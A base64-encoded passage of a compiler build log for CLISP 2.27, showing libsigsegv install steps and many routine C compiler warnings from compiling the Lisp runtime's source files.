aWdzZWd2LmxhaSAvbmV0L3FtYW4vcGF0Y2hlcy9zYXZlL3RhcmJhbGwvY2xpc3AtMi4yNy9zcmMv bGlic2lnc2Vndi5sYQovb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCAubGlicy9saWJz aWdzZWd2LmEgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL2xp YnNpZ3NlZ3YuYQpyYW5saWIgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIu Mjcvc3JjL2xpYnNpZ3NlZ3YuYQpjaG1vZCA2NDQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJi YWxsL2NsaXNwLTIuMjcvc3JjL2xpYnNpZ3NlZ3YuYQpsaWJ0b29sOiBpbnN0YWxsOiB3YXJuaW5n OiByZW1lbWJlciB0byBydW4gYGxpYnRvb2wgLS1maW5pc2ggL3Vzci9sb2NhbC9saWInCglpZiBb ICEgLWQgL25ldC9xbWFuL3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjIF0gOyB0 aGVuIG1rZGlyIC9uZXQvcW1hbi9wYXRjaGVzL3NhdmUvdGFyYmFsbC9jbGlzcC0yLjI3L3NyYyA7 IGZpCgkvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jIC1tIDY0NCBzaWdzZWd2LmggL25ldC9xbWFu L3BhdGNoZXMvc2F2ZS90YXJiYWxsL2NsaXNwLTIuMjcvc3JjL3NpZ3NlZ3YuaAoJY2MgLUFlIC1X cCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgc3B2dy5jCmNwcDogImxpc3Bi aWJsLmQiLCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGly ZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93 biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDog d2FybmluZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KY2M6ICJzcHZ3X2NpcmMu ZCIsIGxpbmUgNjk2OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVk LgpjYzogInNwdndfY2lyYy5kIiwgbGluZSA2OTc6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2Fu IG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAic3B2d19jaXJjLmQiLCBsaW5lIDc0MDogd2FybmluZyA1 MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3X2NpcmMuZCIsIGxp bmUgNzQzOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzog InNwdndfY2lyYy5kIiwgbGluZSA5MjM6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVy IGJlIHJlYWNoZWQuCmNjOiAic3B2d19jaXJjLmQiLCBsaW5lIDkyNjogd2FybmluZyA1MDg6IFN0 YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3X2NpcmMuZCIsIGxpbmUgMTQ2 NDogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3 X2NpcmMuZCIsIGxpbmUgMTQ2Njogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUg cmVhY2hlZC4KY2M6ICJzcHZ3X2NpcmMuZCIsIGxpbmUgMTYwMDogd2FybmluZyA1MDg6IFN0YXRl bWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3X2NpcmMuZCIsIGxpbmUgMTYwMjog d2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3X21l bWZpbGUuZCIsIGxpbmUgNjQyOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSBy ZWFjaGVkLgpjYzogInNwdndfbWVtZmlsZS5kIiwgbGluZSA2NTI6IHdhcm5pbmcgNTA4OiBTdGF0 ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAic3B2d19tZW1maWxlLmQiLCBsaW5lIDY2 Nzogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJzcHZ3 X21lbWZpbGUuZCIsIGxpbmUgNjY4OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBi ZSByZWFjaGVkLgpjYzogInNwdndfbWVtZmlsZS5kIiwgbGluZSA2OTI6IHdhcm5pbmcgNTA4OiBT dGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAic3B2d19tZW1maWxlLmQiLCBsaW5l IDY5NDogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJz cHZ3X21lbWZpbGUuZCIsIGxpbmUgNjk1OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZl ciBiZSByZWFjaGVkLgpjYzogInNwdndfbWVtZmlsZS5kIiwgbGluZSA3Mjg6IHdhcm5pbmcgNjA0 OiBQb2ludGVycyBhcmUgbm90IGFzc2lnbm1lbnQtY29tcGF0aWJsZS4KCWNjIC1BZSAtV3AsLUgx MDQ4NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIHNwdnd0YWJmLmMKY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJl Y3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3du IHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3 YXJuaW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgoJY2MgLUFlIC1XcCwtSDEw NDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgc3B2d3RhYnMuYwpjcHA6ICJsaXNwYmli bC5kIiwgbGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVj dGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24g cHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdh cm5pbmcgMjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0 ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBzcHZ3dGFiby5jCmNwcDogImxpc3BiaWJs LmQiLCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0 aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93biBw cmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDogd2Fy bmluZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KCWNjIC1BZSAtV3AsLUgxMDQ4 NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIGV2YWwuYwpjcHA6ICJsaXNwYmlibC5kIiwg bGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4K Y3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJv Y2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcg MjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAt RFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBjb250cm9sLmMKY3BwOiAibGlzcGJpYmwuZCIsIGxp bmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNw cDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nl c3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3YXJuaW5nIDIw MDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURV TklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgZW5jb2RpbmcuYwpjcHA6ICJsaXNwYmlibC5kIiwgbGlu ZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3Bw OiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vz c2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcgMjAw MTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVO SUNPREUgLUREWU5BTUlDX0ZGSSAtYyBwYXRobmFtZS5jCmNwcDogImxpc3BiaWJsLmQiLCBsaW5l IDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6 ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNz aW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDogd2FybmluZyAyMDAx OiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1EVU5J Q09ERSAtRERZTkFNSUNfRkZJIC1JcmVhZGxpbmUgLWMgc3RyZWFtLmMKY3BwOiAibGlzcGJpYmwu ZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3Rp dmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3duIHBy ZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3YXJu aW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgpjYzogInN0cmVhbS5kIiwgbGlu ZSA5OTc5OiB3YXJuaW5nIDYwNDogUG9pbnRlcnMgYXJlIG5vdCBhc3NpZ25tZW50LWNvbXBhdGli bGUuCmNjOiAic3RyZWFtLmQiLCBsaW5lIDEwMDI1OiB3YXJuaW5nIDYwNDogUG9pbnRlcnMgYXJl IG5vdCBhc3NpZ25tZW50LWNvbXBhdGlibGUuCmNjOiAic3RyZWFtLmQiLCBsaW5lIDEwMDI1OiB3 YXJuaW5nIDU2MzogQXJndW1lbnQgIzEgaXMgbm90IHRoZSBjb3JyZWN0IHR5cGUuCmNjOiAic3Ry ZWFtLmQiLCBsaW5lIDEwMDMwOiB3YXJuaW5nIDYwNDogUG9pbnRlcnMgYXJlIG5vdCBhc3NpZ25t ZW50LWNvbXBhdGlibGUuCmNjOiAic3RyZWFtLmQiLCBsaW5lIDEwMDMwOiB3YXJuaW5nIDU2Mzog QXJndW1lbnQgIzIgaXMgbm90IHRoZSBjb3JyZWN0IHR5cGUuCgljYyAtQWUgLVdwLC1IMTA0ODU3 NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBzb2NrZXQuYwpjcHA6ICJsaXNwYmlibC5kIiwg bGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4K Y3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJv Y2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcg MjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAt RFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBpby5jCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0 ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJs aXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5n IGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDogd2FybmluZyAyMDAxOiBS ZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1EVU5JQ09E RSAtRERZTkFNSUNfRkZJIC1jIGFycmF5LmMKY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ4OiB3 YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3Bi aWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGly ZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3YXJuaW5nIDIwMDE6IFJlZGVm aW5pdGlvbiBvZiBtYWNybyBOVUxMLgoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1E RFlOQU1JQ19GRkkgLWMgaGFzaHRhYmwuYwpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDg6IHdh cm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJl Y3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcgMjAwMTogUmVkZWZp bml0aW9uIG9mIG1hY3JvIE5VTEwuCmNjOiAiaGFzaHRhYmwuZCIsIGxpbmUgNzcxOiB3YXJuaW5n IDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogImhhc2h0YWJsLmQiLCBs aW5lIDc3Mjogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6 ICJoYXNodGFibC5kIiwgbGluZSA3NzM6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVy IGJlIHJlYWNoZWQuCmNjOiAiaGFzaHRhYmwuZCIsIGxpbmUgNzc1OiB3YXJuaW5nIDUwODogU3Rh dGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogImhhc2h0YWJsLmQiLCBsaW5lIDc4MTog d2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJoYXNodGFi bC5kIiwgbGluZSA3ODM6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNo ZWQuCmNjOiAiaGFzaHRhYmwuZCIsIGxpbmUgNzg1OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNh biBuZXZlciBiZSByZWFjaGVkLgpjYzogImhhc2h0YWJsLmQiLCBsaW5lIDc4ODogd2FybmluZyA1 MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJoYXNodGFibC5kIiwgbGlu ZSA3OTU6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAi aGFzaHRhYmwuZCIsIGxpbmUgNzk2OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBi ZSByZWFjaGVkLgpjYzogImhhc2h0YWJsLmQiLCBsaW5lIDc5Nzogd2FybmluZyA1MDg6IFN0YXRl bWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1EVU5JQ09E RSAtRERZTkFNSUNfRkZJIC1jIGxpc3QuYwpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDg6IHdh cm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJl Y3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcgMjAwMTogUmVkZWZp bml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLURE WU5BTUlDX0ZGSSAtYyBwYWNrYWdlLmMKY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ4OiB3YXJu aW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJs LmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0 aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3YXJuaW5nIDIwMDE6IFJlZGVmaW5p dGlvbiBvZiBtYWNybyBOVUxMLgpjYzogInBhY2thZ2UuZCIsIGxpbmUgMjgwOTogd2FybmluZyA2 MDQ6IFBvaW50ZXJzIGFyZSBub3QgYXNzaWdubWVudC1jb21wYXRpYmxlLgpjYzogInBhY2thZ2Uu ZCIsIGxpbmUgMjgwOTogd2FybmluZyA1NjM6IEFyZ3VtZW50ICMxIGlzIG5vdCB0aGUgY29ycmVj dCB0eXBlLgoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMg cmVjb3JkLmMKY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25v d24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTog d2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNw YmlibC5kIiwgbGluZSAxMTI0OiB3YXJuaW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBO VUxMLgoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgc2Vx dWVuY2UuYwpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93 biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3 YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3Bi aWJsLmQiLCBsaW5lIDExMjQ6IHdhcm5pbmcgMjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5V TEwuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBjaGFy c3RyZy5jCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3du IHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdh cm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgMTEyNDogd2FybmluZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVM TC4KCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIGRlYnVn LmMKY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJl cHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2Fybmlu ZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5k IiwgbGluZSAxMTI0OiB3YXJuaW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgoJ Y2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgZXJyb3IuYwpj cHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDg6IHdhcm5pbmcgMjAxMzogVW5rbm93biBwcmVwcm9j ZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgNTQ5OiB3YXJuaW5nIDIw MTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBs aW5lIDExMjQ6IHdhcm5pbmcgMjAwMTogUmVkZWZpbml0aW9uIG9mIG1hY3JvIE5VTEwuCgljYyAt QWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtYyBtaXNjLmMKY3BwOiAi bGlzcGJpYmwuZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2lu ZyBkaXJlY3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBV bmtub3duIHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAx MTI0OiB3YXJuaW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgoJY2MgLUFlIC1X cCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLWMgdGltZS5jCmNwcDogImxpc3Bi aWJsLmQiLCBsaW5lIDU0ODogd2FybmluZyAyMDEzOiBVbmtub3duIHByZXByb2Nlc3NpbmcgZGly ZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSA1NDk6IHdhcm5pbmcgMjAxMzogVW5rbm93 biBwcmVwcm9jZXNzaW5nIGRpcmVjdGl2ZS4KY3BwOiAibGlzcGJpYmwuZCIsIGxpbmUgMTEyNDog d2FybmluZyAyMDAxOiBSZWRlZmluaXRpb24gb2YgbWFjcm8gTlVMTC4KCWNjIC1BZSAtV3AsLUgx MDQ4NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1jIHByZWR0eXBlLmMKY3BwOiAibGlzcGJp YmwuZCIsIGxpbmUgNTQ4OiB3YXJuaW5nIDIwMTM6IFVua25vd24gcHJlcHJvY2Vzc2luZyBkaXJl Y3RpdmUuCmNwcDogImxpc3BiaWJsLmQiLCBsaW5lIDU0OTogd2FybmluZyAyMDEzOiBVbmtub3du IHByZXByb2Nlc3NpbmcgZGlyZWN0aXZlLgpjcHA6ICJsaXNwYmlibC5kIiwgbGluZSAxMTI0OiB3 YXJuaW5nIDIwMDE6IFJlZGVmaW5pdGlvbiBvZiBtYWNybyBOVUxMLgpjYzogInByZWR0eXBlLmQi LCBsaW5lIDQ3OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpj YzogInByZWR0eXBlLmQiLCBsaW5lIDUwOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZl ciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDUxOiB3YXJuaW5nIDUwODogU3Rh dGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDk0OiB3 YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBl LmQiLCBsaW5lIDEwNTogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hl ZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAxMDY6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2Fu IG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTU4OiB3YXJuaW5nIDUw ODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5l IDE2Mzogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJw cmVkdHlwZS5kIiwgbGluZSAxNjQ6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJl IHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTY1OiB3YXJuaW5nIDUwODogU3RhdGVt ZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDE2Njogd2Fy bmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5k IiwgbGluZSAxNzY6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQu CmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTgwOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBu ZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDE4MTogd2FybmluZyA1MDg6 IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSAx ODI6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJl ZHR5cGUuZCIsIGxpbmUgMTgzOiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSBy ZWFjaGVkLgpjYzogInByZWR0eXBlLmQiLCBsaW5lIDk3MTogd2FybmluZyA1MDg6IFN0YXRlbWVu dCBjYW4gbmV2ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSA5NzU6IHdhcm5p bmcgNTA4OiBTdGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIs IGxpbmUgOTc2OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpj YzogInByZWR0eXBlLmQiLCBsaW5lIDk3Nzogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2 ZXIgYmUgcmVhY2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSA5Nzg6IHdhcm5pbmcgNTA4OiBT dGF0ZW1lbnQgY2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgOTky OiB3YXJuaW5nIDUwODogU3RhdGVtZW50IGNhbiBuZXZlciBiZSByZWFjaGVkLgpjYzogInByZWR0 eXBlLmQiLCBsaW5lIDk5Njogd2FybmluZyA1MDg6IFN0YXRlbWVudCBjYW4gbmV2ZXIgYmUgcmVh Y2hlZC4KY2M6ICJwcmVkdHlwZS5kIiwgbGluZSA5OTk6IHdhcm5pbmcgNTA4OiBTdGF0ZW1lbnQg Y2FuIG5ldmVyIGJlIHJlYWNoZWQuCmNjOiAicHJlZHR5cGUuZCIsIGxpbmUgMTAwOTogd2Fybmlu 